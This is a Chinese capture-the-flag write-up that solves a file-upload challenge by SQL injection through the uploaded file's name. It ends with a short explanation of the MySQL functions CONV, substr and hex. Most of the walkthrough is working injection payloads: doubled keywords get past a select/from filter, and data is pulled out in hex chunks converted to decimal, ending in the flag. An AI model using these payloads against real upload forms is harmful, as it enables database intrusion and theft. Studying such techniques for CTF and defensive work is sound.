0x1 考点关键词
利用上传文件的文件名进行sql注入
0x2 分析
一开始还以为是真的文件上传,结果要利用上传文件的文件名进行sql注入,这道题的坑还不少,就是注入时的输出只能为10进制,想不到就做不出来。
这里面将 select 和 from 过滤了一次,双写即可绕过。
修改文件名为 '+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg
注意,这里substr取12位是因为一旦过长(超出12),就会用科学记数法显示
得到回显:
然后修改一下substr的起始位置参数,看看后边还有没有
修改为:'+(selselectect CONV(substr(hex(database()),13,12),16,10))+'.jpg 上传
又得到一个回显:
拼起来就是 web_upload。
拿到库名
然后查表
‘+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = ‘web_upload’ limit 1,1)),1,12),16,10))+’.jpg
得到回显
114784820031327
转16进制,转字符串
得到 hello_
继续往后查肯定还有
‘+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = ‘web_upload’ limit 1,1)),13,12),16,10))+’.jpg
得到回显
112615676665705
转16进制转字符串
得到flag_i
查就完事儿了
‘+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = ‘web_upload’ limit 1,1)),25,12),16,10))+’.jpg
得到回显
126853610566245
转16进制转字符串
得到s_here
查到这儿出来一具完整的句子
hello_flag_is_here
差不多就是它了
差这个表里有什么字段:
‘+(seleselectct+CONV(substr(hex((seleselectct COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME=‘hello_flag_i_here’ limit 0,1)),1,12),16,10))+’.jpg
得到回显
115858377367398
转转转
得到i_am_f
一看就没查完,接着查
‘+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 0,1)),13,12),16,10))+’.jpg
得到回显
7102823
转
lag
拼起来:i_am_flag
最后一步了,查flag
‘+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10)+’.jpg
得到回显
36427215695199
转
!!@m
接着查
‘+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10)+’.jpg
得到回显
92806431727430
转
Th.e_F
继续
‘+CONV(substr(hex((seleselectct i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10)+’.jpg
得到回显
560750951
转
!lag
拼起来:!!_@m_Th.e_F!lag
flag就出来了
0x3 PS
这里先普及几个mysql函数的用法
1. CONV()
简单的来说这个函数就是用来进行***进制的转换***的
CONV(N,from_base,to_base)
N是要转换的数据,from_base是原进制,to_base是目标进制。
select conv(16,10,16);
+—————-+
| conv(16,10,16) |
+—————-+
| 10 |
+—————-+
1 row in set (0.04 sec)
如果N是有符号数字,则to_base要以负数的形式提供,否则会将N当作无符号数
mysql> select conv(-16,10,16);
+——————+
| conv(-16,10,16) |
+——————+
| FFFFFFFFFFFFFFF0 |
+——————+
1 row in set (0.00 sec)
mysql> select conv(-16,10,-16);
+——————+
| conv(-16,10,-16) |
+——————+
| -10 |
+——————+
1 row in set (0.00 sec)
2.substr()
简单来说 这个函数是用来***搜索字符串***的
substr(string string,num start,num length);
string为字符串;
start为起始位置;
length为长度。
mysql中的start是从1开始的,而hibernate中的start是从0开始的。
3.hex()
这个就很好理解了,转为16进制嘛
参考原文:https://blog.csdn.net/qq_45552960/article/details/102461271
Comments | NOTHING